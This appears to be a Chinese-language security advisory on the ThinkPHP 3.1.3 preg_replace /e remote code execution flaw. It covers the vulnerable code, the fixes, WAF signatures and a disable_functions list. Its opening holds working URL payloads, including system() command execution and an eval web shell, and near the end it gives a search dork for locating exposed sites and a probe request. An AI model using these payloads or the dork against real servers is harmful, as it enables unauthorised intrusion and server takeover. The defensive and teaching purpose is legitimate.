ThinkPHP 3.1.3 及更早版本(含 3.0、3.1 系列)在 Dispatcher.class.php 路由解析邏輯中,使用 preg_replace 的 /e 修飾符(已棄用且極度危險)直接執行使用者可控輸入,導致未經授權的任意 PHP 程式碼執行(RCE)。攻擊者可構造特定 URL 參數,繞過輸入過濾,直接在伺服器執行任意指令,完全控制 Web 應用甚至主機。
# 獲取 ThinkPHP 版本
/index.php/module/action/param1/${@print(THINK_VERSION)}
# 執行 phpinfo() 洩露伺服器資訊
/index.php/module/action/param1/${@phpinfo()}
# 列出網站目錄檔案
/index.php/module/action/param1/{${system($_GET['x'])}}?x=ls%20-al
# 寫入一句话木馬(配合菜刀連接)
/index.php/module/action/param1/{${eval($_POST[s])}}
檔案:ThinkPHP/Lib/Core/Dispatcher.class.php
// 易受攻擊的原始程式碼(約第 100 行)
$res = preg_replace(
'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e',
'$var[\'\\1\']="\\2";',
implode($depr, $paths)
);
關鍵問題:
@e 修飾符:將替換字串視為 PHP 程式碼執行。'$var[\'\\1\']="\\2";' 使用雙引號,導致 \\2 中的變數語法(如 ${@phpinfo()})被解析執行。$paths 來源於 URL 路徑參數,攻擊者可完全控制。// 修復後:將雙引號改為單引號,阻止變數解析
$res = preg_replace(
'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e',
'$var[\'\\1\']=\'\\2\';', // 單引號包裹,內容視為字面字串
implode($depr, $paths)
);
原理:單引號字串不解析變數,'\\2' 即使包含 ${...} 也僅作為普通字串存入陣列,不會被執行。
/e 修飾符自 PHP 5.5.0 棄用,PHP 7.0.0 移除。若專案仍在維護,強烈建議升級至 ThinkPHP 3.2.3+ 或 5.0/6.0/8.0 版本。若必須維護舊版,請將上述 preg_replace 替換為 preg_replace_callback:
$res = preg_replace_callback(
'@(\w+)'.$depr.'([^'.$depr.'\/]+)@',
function ($matches) use (&$var) {
$var[$matches[1]] = $matches[2];
return '';
},
implode($depr, $paths)
);
${、@{、eval(、system(、assert( 等特徵的請求。disable_functions = exec,system,shell_exec,passthru,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert(視業務影響評估)。preg_replace 呼叫。thinkphp intitle:"系统发生错误" 可快速發現潛在受害站點/index.php/test/${@print(md5(1))} 發送請求,回應含 c4ca4238a0b923820dcc509a6f75849b 即存在漏洞⚠️ 法律聲明:本文僅供安全研究、防禦加固與教學用途。未經授權對他人系統進行漏洞掃描、利用或攻擊均屬違法行為,嚴禁用於非法用途。